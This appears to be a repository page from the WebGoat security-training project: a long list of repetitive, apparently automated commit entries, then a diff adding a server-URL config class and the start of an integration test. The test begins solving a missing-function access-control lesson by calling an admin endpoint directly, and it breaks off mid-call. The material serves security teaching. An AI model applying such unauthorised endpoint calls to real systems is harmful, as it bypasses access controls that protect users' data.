Wed May 14 00:17:22 UTC 2025: Commit 7 by Author
Wed May 14 00:20:09 UTC 2025: Commit 8 by Two
Wed May 14 00:22:55 UTC 2025: Commit 9 by <author2@example.com>
Wed May 14 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 00:28:29 UTC 2025: Commit 11 by Ten
Wed May 14 00:31:15 UTC 2025: Commit 12 by <autdwshor10@example.com>
Wed May 14 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 03:03:30 UTC 2025: Commit 2 by Nine
Wed May 14 03:06:17 UTC 2025: Commit 3 by <autdwshor9@example.com>
Wed May 14 03:09:03 UTC 2025: Commit 4 by Author
Wed May 14 03:11:50 UTC 2025: Commit 5 by One
Wed May 14 03:14:37 UTC 2025: Commit 6 by <author1@example.com>
Wed May 14 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 03:20:10 UTC 2025: Commit 8 by Four
Wed May 14 03:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Wed May 14 03:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 03:28:30 UTC 2025: Commit 11 by Six
Wed May 14 03:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Wed May 14 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 06:03:29 UTC 2025: Commit 2 by Six
Wed May 14 06:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 06:09:02 UTC 2025: Commit 4 by Author
Wed May 14 06:11:49 UTC 2025: Commit 5 by Three
Wed May 14 06:14:36 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 06:20:09 UTC 2025: Commit 8 by Eight
Wed May 14 06:22:56 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Wed May 14 06:25:42 UTC 2025: Commit 10 by Author
Wed May 14 06:28:29 UTC 2025: Commit 11 by One
Wed May 14 06:31:16 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 09:00:43 UTC 2025: Commit 1 by Author
Wed May 14 09:03:30 UTC 2025: Commit 2 by Two
Wed May 14 09:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 09:09:03 UTC 2025: Commit 4 by Author
Wed May 14 09:11:50 UTC 2025: Commit 5 by Four
Wed May 14 09:14:36 UTC 2025: Commit 6 by <author4@example.com>
Wed May 14 09:17:23 UTC 2025: Commit 7 by Author
Wed May 14 09:20:09 UTC 2025: Commit 8 by Seven
Wed May 14 09:22:56 UTC 2025: Commit 9 by <author7@example.com>
Wed May 14 09:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 09:28:29 UTC 2025: Commit 11 by Five
Wed May 14 09:31:16 UTC 2025: Commit 12 by <autdwshor5@example.com>
Wed May 14 12:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 12:03:29 UTC 2025: Commit 2 by Three
Wed May 14 12:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Wed May 14 12:09:02 UTC 2025: Commit 4 by Author
Wed May 14 12:11:49 UTC 2025: Commit 5 by Two
Wed May 14 12:14:36 UTC 2025: Commit 6 by <author2@example.com>
Wed May 14 12:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 12:20:09 UTC 2025: Commit 8 by Five
Wed May 14 12:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Wed May 14 12:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 12:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 12:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Wed May 14 15:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 15:03:29 UTC 2025: Commit 2 by Ten
Wed May 14 15:06:15 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed May 14 15:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 15:11:49 UTC 2025: Commit 5 by Five
Wed May 14 15:14:35 UTC 2025: Commit 6 by <autdwshor5@example.com>
Wed May 14 15:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 15:20:09 UTC 2025: Commit 8 by One
Wed May 14 15:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 15:25:42 UTC 2025: Commit 10 by Author
Wed May 14 15:28:29 UTC 2025: Commit 11 by One
Wed May 14 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 18:03:29 UTC 2025: Commit 2 by Six
Wed May 14 18:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 18:09:02 UTC 2025: Commit 4 by Author
Wed May 14 18:11:49 UTC 2025: Commit 5 by Three
Wed May 14 18:14:35 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 18:20:09 UTC 2025: Commit 8 by One
Wed May 14 18:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 18:25:42 UTC 2025: Commit 10 by Author
Wed May 14 18:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 18:31:15 UTC 2025: Commit 12 by <author7@example.com>
Wed May 14 21:00:43 UTC 2025: Commit 1 by Author
Wed May 14 21:03:29 UTC 2025: Commit 2 by Two
Wed May 14 21:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 21:11:49 UTC 2025: Commit 5 by Eight
Wed May 14 21:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Wed May 14 21:17:23 UTC 2025: Commit 7 by Author
Wed May 14 21:20:09 UTC 2025: Commit 8 by Five
Wed May 14 21:22:56 UTC 2025: Commit 9 by <author5@example.com>
Wed May 14 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 21:28:29 UTC 2025: Commit 11 by Four
Wed May 14 21:31:16 UTC 2025: Commit 12 by <autdwshor4@example.com>
Thu May 15 00:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 00:03:29 UTC 2025: Commit 2 by Three
Thu May 15 00:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Thu May 15 00:09:03 UTC 2025: Commit 4 by Author
Thu May 15 00:11:49 UTC 2025: Commit 5 by Six
Thu May 15 00:14:36 UTC 2025: Commit 6 by <author6@example.com>
Thu May 15 00:17:23 UTC 2025: Commit 7 by Author
Thu May 15 00:20:09 UTC 2025: Commit 8 by Eight
Thu May 15 00:22:56 UTC 2025: Commit 9 by <author8@example.com>
Thu May 15 00:25:43 UTC 2025: Commit 10 by Author
Thu May 15 00:28:29 UTC 2025: Commit 11 by Four
Thu May 15 00:31:16 UTC 2025: Commit 12 by <author4@example.com>
Thu May 15 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 03:03:29 UTC 2025: Commit 2 by Eight
Thu May 15 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Thu May 15 03:09:02 UTC 2025: Commit 4 by Author
Thu May 15 03:11:49 UTC 2025: Commit 5 by Nine
Thu May 15 03:14:36 UTC 2025: Commit 6 by <author9@example.com>
Thu May 15 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 03:20:09 UTC 2025: Commit 8 by Ten
Thu May 15 03:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Thu May 15 03:25:42 UTC 2025: Commit 10 by Author
Thu May 15 03:28:29 UTC 2025: Commit 11 by Two
Thu May 15 03:31:16 UTC 2025: Commit 12 by <author2@example.com>
Thu May 15 06:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 06:03:30 UTC 2025: Commit 2 by Five
Thu May 15 06:06:17 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 06:09:04 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 06:11:50 UTC 2025: Commit 5 by Eight
Thu May 15 06:14:37 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Thu May 15 06:17:23 UTC 2025: Commit 7 by Author
Thu May 15 06:20:10 UTC 2025: Commit 8 by Two
Thu May 15 06:22:57 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 06:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 06:28:30 UTC 2025: Commit 11 by Ten
Thu May 15 06:31:17 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 09:03:32 UTC 2025: Commit 2 by Five
Thu May 15 09:06:19 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 09:09:06 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 09:11:53 UTC 2025: Commit 5 by Three
Thu May 15 09:14:39 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 09:17:26 UTC 2025: Commit 7 by Author
Thu May 15 09:20:13 UTC 2025: Commit 8 by Five
Thu May 15 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Thu May 15 09:25:46 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 09:28:33 UTC 2025: Commit 11 by Ten
Thu May 15 09:31:20 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 12:03:30 UTC 2025: Commit 2 by Ten
Thu May 15 12:06:17 UTC 2025: Commit 3 by <autdwshor10@example.com>
Thu May 15 12:09:03 UTC 2025: Commit 4 by Author
Thu May 15 12:11:50 UTC 2025: Commit 5 by Seven
Thu May 15 12:14:37 UTC 2025: Commit 6 by <author7@example.com>
Thu May 15 12:17:23 UTC 2025: Commit 7 by Author
Thu May 15 12:20:10 UTC 2025: Commit 8 by Six
Thu May 15 12:22:57 UTC 2025: Commit 9 by <author6@example.com>
Thu May 15 12:25:43 UTC 2025: Commit 10 by Author
Thu May 15 12:28:30 UTC 2025: Commit 11 by Five
Thu May 15 12:31:17 UTC 2025: Commit 12 by <author5@example.com>
Thu May 15 15:00:43 UTC 2025: Commit 1 by Author
Thu May 15 15:03:30 UTC 2025: Commit 2 by One
Thu May 15 15:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 15:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 15:11:50 UTC 2025: Commit 5 by Three
Thu May 15 15:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 15:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 15:20:10 UTC 2025: Commit 8 by Four
Thu May 15 15:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Thu May 15 15:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 15:28:30 UTC 2025: Commit 11 by Nine
Thu May 15 15:31:16 UTC 2025: Commit 12 by <autdwshor9@example.com>
Thu May 15 18:00:43 UTC 2025: Commit 1 by Author
Thu May 15 18:03:29 UTC 2025: Commit 2 by One
Thu May 15 18:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 18:09:03 UTC 2025: Commit 4 by Author
Thu May 15 18:11:49 UTC 2025: Commit 5 by Four
Thu May 15 18:14:36 UTC 2025: Commit 6 by <author4@example.com>
Thu May 15 18:17:23 UTC 2025: Commit 7 by Author
Thu May 15 18:20:09 UTC 2025: Commit 8 by Two
Thu May 15 18:22:56 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 18:25:43 UTC 2025: Commit 10 by Author
Thu May 15 18:28:29 UTC 2025: Commit 11 by Eight
Thu May 15 18:31:16 UTC 2025: Commit 12 by <author8@example.com>
Thu May 15 21:00:43 UTC 2025: Commit 1 by Author
Thu May 15 21:03:29 UTC 2025: Commit 2 by Seven
Thu May 15 21:06:16 UTC 2025: Commit 3 by <author7@example.com>
Thu May 15 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 21:11:49 UTC 2025: Commit 5 by Two
Thu May 15 21:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Thu May 15 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 21:20:09 UTC 2025: Commit 8 by One
Thu May 15 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Thu May 15 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 21:28:30 UTC 2025: Commit 11 by Three
Thu May 15 21:31:16 UTC 2025: Commit 12 by <dwsauthor3@example.com>
Fri May 16 00:00:42 UTC 2025: Commit 1 by Author
Fri May 16 00:03:29 UTC 2025: Commit 2 by One
Fri May 16 00:06:16 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 00:11:49 UTC 2025: Commit 5 by Three
Fri May 16 00:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Fri May 16 00:17:23 UTC 2025: Commit 7 by Author
Fri May 16 00:20:09 UTC 2025: Commit 8 by Nine
Fri May 16 00:22:56 UTC 2025: Commit 9 by <author9@example.com>
Fri May 16 03:00:22 UTC 2025: Commit 1 by Author
Fri May 16 03:03:08 UTC 2025: Commit 2 by Five
Fri May 16 03:05:55 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 03:08:42 UTC 2025: Commit 4 by Author
Fri May 16 03:11:29 UTC 2025: Commit 5 by One
Fri May 16 03:14:15 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 03:17:02 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 03:19:49 UTC 2025: Commit 8 by Seven
Fri May 16 03:22:35 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Fri May 16 03:25:22 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 03:28:09 UTC 2025: Commit 11 by Nine
Fri May 16 03:30:55 UTC 2025: Commit 12 by <autdwshor9@example.com>
Fri May 16 06:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 06:03:05 UTC 2025: Commit 2 by Two
Fri May 16 06:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Fri May 16 06:08:39 UTC 2025: Commit 4 by Author
Fri May 16 06:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 06:14:12 UTC 2025: Commit 6 by <author9@example.com>
Fri May 16 06:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 06:19:45 UTC 2025: Commit 8 by Ten
Fri May 16 06:22:32 UTC 2025: Commit 9 by <autdwshor10@example.com>
Fri May 16 06:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 06:28:05 UTC 2025: Commit 11 by Five
Fri May 16 06:30:52 UTC 2025: Commit 12 by <autdwshor5@example.com>
Fri May 16 09:00:19 UTC 2025: Commit 1 by Author
Fri May 16 09:03:05 UTC 2025: Commit 2 by One
Fri May 16 09:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 09:08:39 UTC 2025: Commit 4 by Author
Fri May 16 09:11:26 UTC 2025: Commit 5 by Four
Fri May 16 09:14:13 UTC 2025: Commit 6 by <author4@example.com>
Fri May 16 09:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 09:19:46 UTC 2025: Commit 8 by Three
Fri May 16 09:22:33 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Fri May 16 09:25:19 UTC 2025: Commit 10 by Author
Fri May 16 09:28:06 UTC 2025: Commit 11 by Nine
Fri May 16 09:30:53 UTC 2025: Commit 12 by <author9@example.com>
Fri May 16 12:00:26 UTC 2025: Commit 1 by Author
Fri May 16 12:03:13 UTC 2025: Commit 2 by Five
Fri May 16 12:05:59 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 12:08:46 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 12:11:33 UTC 2025: Commit 5 by Six
Fri May 16 12:14:19 UTC 2025: Commit 6 by <autdwshor6@example.com>
Fri May 16 12:17:06 UTC 2025: Commit 7 by Author
Fri May 16 12:19:53 UTC 2025: Commit 8 by Six
Fri May 16 12:22:39 UTC 2025: Commit 9 by <author6@example.com>
Fri May 16 12:25:26 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 12:28:13 UTC 2025: Commit 11 by Two
Fri May 16 12:30:59 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 15:00:18 UTC 2025: Commit 1 by Author
Fri May 16 15:03:05 UTC 2025: Commit 2 by Five
Fri May 16 15:05:52 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 15:08:38 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 15:11:25 UTC 2025: Commit 5 by One
Fri May 16 15:14:12 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Fri May 16 15:16:58 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 15:19:45 UTC 2025: Commit 8 by Five
Fri May 16 15:22:32 UTC 2025: Commit 9 by <autdwshor5@example.com>
Fri May 16 15:25:18 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 15:28:05 UTC 2025: Commit 11 by Two
Fri May 16 15:30:52 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 18:00:18 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 18:03:05 UTC 2025: Commit 2 by Ten
Fri May 16 18:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Fri May 16 18:08:39 UTC 2025: Commit 4 by Author
Fri May 16 18:11:25 UTC 2025: Commit 5 by One
Fri May 16 18:14:12 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 18:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 18:19:45 UTC 2025: Commit 8 by Two
Fri May 16 18:22:32 UTC 2025: Commit 9 by <dwsauthor2@example.com>
Fri May 16 18:25:19 UTC 2025: Commit 10 by Author
Fri May 16 18:28:05 UTC 2025: Commit 11 by Five
Fri May 16 18:30:52 UTC 2025: Commit 12 by <author5@example.com>
Fri May 16 21:00:18 UTC 2025: Commit 1 by Author
Fri May 16 21:03:05 UTC 2025: Commit 2 by Nine
Fri May 16 21:05:52 UTC 2025: Commit 3 by <author9@example.com>
Fri May 16 21:08:39 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 21:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 21:14:12 UTC 2025: Commit 6 by <autdwshor9@example.com>
Fri May 16 21:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 21:19:45 UTC 2025: Commit 8 by Six
Fri May 16 21:22:32 UTC 2025: Commit 9 by <autdwshor6@example.com>
Fri May 16 21:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 21:28:05 UTC 2025: Commit 11 by Eight
Fri May 16 21:30:52 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sat May 17 00:00:18 UTC 2025: Commit 1 by Author
Sat May 17 00:03:04 UTC 2025: Commit 2 by Three
Sat May 17 00:05:51 UTC 2025: Commit 3 by <author3@example.com>
Sat May 17 00:08:38 UTC 2025: Commit 4 by DWSAuthor
Sat May 17 00:11:25 UTC 2025: Commit 5 by Seven
Sat May 17 00:14:11 UTC 2025: Commit 6 by <adwsuthor7@example.com>
Sat May 17 00:16:58 UTC 2025: Commit 7 by DWSAuthor
Sat May 17 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sat May 17 12:03:05 UTC 2025: Commit 2 by Seven
Sat May 17 12:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sun May 18 00:00:22 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 00:03:09 UTC 2025: Commit 2 by Two
Sun May 18 00:05:55 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Sun May 18 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 12:03:05 UTC 2025: Commit 2 by Two
Sun May 18 12:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 19 00:00:19 UTC 2025: Commit 1 by Author
Mon May 19 00:03:06 UTC 2025: Commit 2 by Nine
Mon May 19 00:05:53 UTC 2025: Commit 3 by <author9@example.com>
Mon May 19 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 19 12:03:04 UTC 2025: Commit 2 by Nine
Mon May 19 12:05:51 UTC 2025: Commit 3 by <autdwshor9@example.com>
Tue May 20 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 00:03:05 UTC 2025: Commit 2 by Seven
Tue May 20 00:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 20 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 12:03:07 UTC 2025: Commit 2 by Six
Tue May 20 12:05:53 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 21 00:00:18 UTC 2025: Commit 1 by Author
Wed May 21 00:03:05 UTC 2025: Commit 2 by Three
Wed May 21 00:05:52 UTC 2025: Commit 3 by <author3@example.com>
Wed May 21 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 21 12:03:05 UTC 2025: Commit 2 by Six
Wed May 21 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu May 22 00:00:18 UTC 2025: Commit 1 by DWSAuthor
Thu May 22 00:03:05 UTC 2025: Commit 2 by Five
Thu May 22 00:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 22 12:00:18 UTC 2025: Commit 1 by Author
Thu May 22 12:03:05 UTC 2025: Commit 2 by Ten
Thu May 22 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Fri May 23 00:00:21 UTC 2025: Commit 1 by Author
Fri May 23 00:03:08 UTC 2025: Commit 2 by Five
Fri May 23 00:05:54 UTC 2025: Commit 3 by <author5@example.com>
Fri May 23 12:00:19 UTC 2025: Commit 1 by Author
Fri May 23 12:03:05 UTC 2025: Commit 2 by Ten
Fri May 23 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Sat May 24 00:00:19 UTC 2025: Commit 1 by Author
Sat May 24 00:03:06 UTC 2025: Commit 2 by Six
Sat May 24 00:05:52 UTC 2025: Commit 3 by <author6@example.com>
Sat May 24 12:00:18 UTC 2025: Commit 1 by Author
Sat May 24 12:03:04 UTC 2025: Commit 2 by Two
Sat May 24 12:05:51 UTC 2025: Commit 3 by <author2@example.com>
Sun May 25 00:00:18 UTC 2025: Commit 1 by Author
Sun May 25 00:03:05 UTC 2025: Commit 2 by Four
Sun May 25 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Sun May 25 12:00:18 UTC 2025: Commit 1 by Author
Sun May 25 12:03:05 UTC 2025: Commit 2 by Two
Sun May 25 12:05:52 UTC 2025: Commit 3 by <author2@example.com>
Mon May 26 00:00:18 UTC 2025: Commit 1 by Author
Mon May 26 00:03:05 UTC 2025: Commit 2 by Seven
Mon May 26 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Mon May 26 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 26 12:03:05 UTC 2025: Commit 2 by Ten
Mon May 26 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 27 00:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 00:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 12:00:18 UTC 2025: Commit 1 by Author
Tue May 27 12:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Wed May 28 00:00:29 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 00:03:18 UTC 2025: Commit 2 by Two
Wed May 28 00:06:07 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Wed May 28 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 12:03:06 UTC 2025: Commit 2 by Five
Wed May 28 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 29 00:00:18 UTC 2025: Commit 1 by Author
Thu May 29 00:03:05 UTC 2025: Commit 2 by Nine
Thu May 29 00:05:52 UTC 2025: Commit 3 by <author9@example.com>
Thu May 29 12:00:19 UTC 2025: Commit 1 by Author
Thu May 29 12:03:06 UTC 2025: Commit 2 by Nine
Thu May 29 12:05:53 UTC 2025: Commit 3 by <author9@example.com>
Fri May 30 00:00:18 UTC 2025: Commit 1 by Author
Fri May 30 00:03:05 UTC 2025: Commit 2 by One
Fri May 30 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 30 12:00:19 UTC 2025: Commit 1 by Author
Fri May 30 12:03:06 UTC 2025: Commit 2 by Three
Fri May 30 12:06:08 UTC 2025: Commit 3 by <author3@example.com>
Sat May 31 00:00:18 UTC 2025: Commit 1 by Author
Sat May 31 00:03:04 UTC 2025: Commit 2 by Four
Sat May 31 00:05:51 UTC 2025: Commit 3 by <author4@example.com>
Sat May 31 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Sat May 31 12:03:05 UTC 2025: Commit 2 by Ten
Sat May 31 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Sun Jun 1 00:00:18 UTC 2025: Commit 1 by Author
Sun Jun 1 00:03:05 UTC 2025: Commit 2 by One
Sun Jun 1 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Sun Jun 1 12:00:19 UTC 2025: Commit 1 by Author
Sun Jun 1 12:03:06 UTC 2025: Commit 2 by One
Sun Jun 1 12:05:52 UTC 2025: Commit 3 by <author1@example.com>
Mon Jun 2 00:00:19 UTC 2025: Commit 1 by Author
Mon Jun 2 00:03:06 UTC 2025: Commit 2 by Ten
Mon Jun 2 00:05:52 UTC 2025: Commit 3 by <author10@example.com>
Mon Jun 2 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Mon Jun 2 12:03:07 UTC 2025: Commit 2 by Seven
Mon Jun 2 12:05:54 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue Jun 3 00:00:19 UTC 2025: Commit 1 by Author
Tue Jun 3 00:03:06 UTC 2025: Commit 2 by Four
Tue Jun 3 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Tue Jun 3 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Tue Jun 3 12:03:05 UTC 2025: Commit 2 by Five
Tue Jun 3 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Wed Jun 4 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 00:03:06 UTC 2025: Commit 2 by Ten
Wed Jun 4 00:05:53 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed Jun 4 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 12:03:05 UTC 2025: Commit 2 by Six
Wed Jun 4 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 00:03:07 UTC 2025: Commit 2 by Six
Thu Jun 5 00:05:54 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 12:00:22 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 12:03:09 UTC 2025: Commit 2 by Four
Thu Jun 5 12:05:55 UTC 2025: Commit 3 by <autdwshor4@example.com>
Fri Jun 6 00:00:18 UTC 2025: Commit 1 by Author
Fri Jun 6 00:03:05 UTC 2025: Commit 2 by Seven
Fri Jun 6 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Fri Jun 6 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri Jun 6 12:03:06 UTC 2025: Commit 2 by Five
Fri Jun 6 12:05:53 UTC 2025: Commit 3 by <autdwshor5@example.com>

View File

@ -1,2 +1,2 @@
export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
mvn $@
./mvnw $@

2
mvnw vendored
View File

@ -246,7 +246,7 @@ else
else
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"

1093
pom.xml

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,40 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat;
public record ServerUrlConfig(String host, String port, String contextPath) {
public ServerUrlConfig {
contextPath = contextPath.replaceAll("/", "");
}
public String getBaseUrl() {
return "http://%s:%s".formatted(host, port);
}
public String url(String path) {
return "%s/%s".formatted(getFullUrl(), path);
}
private String getFullUrl() {
return "http://%s:%s/%s".formatted(host, port, contextPath);
}
public static ServerUrlConfig webGoat() {
return new ServerUrlConfig(
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
}
public static ServerUrlConfig webWolf() {
return new ServerUrlConfig(
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
}
private static String env(String variableName, String defaultValue) {
return System.getenv().getOrDefault(variableName, "").isEmpty()
? defaultValue
: System.getenv(variableName);
}
}

View File

@ -0,0 +1,89 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Map;
import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test;
class AccessControlIntegrationTest extends IntegrationTest {
@Test
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
checkResults("MissingFunctionAC");
}
private void assignment3() {
// direct call should fail if user has not been created
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
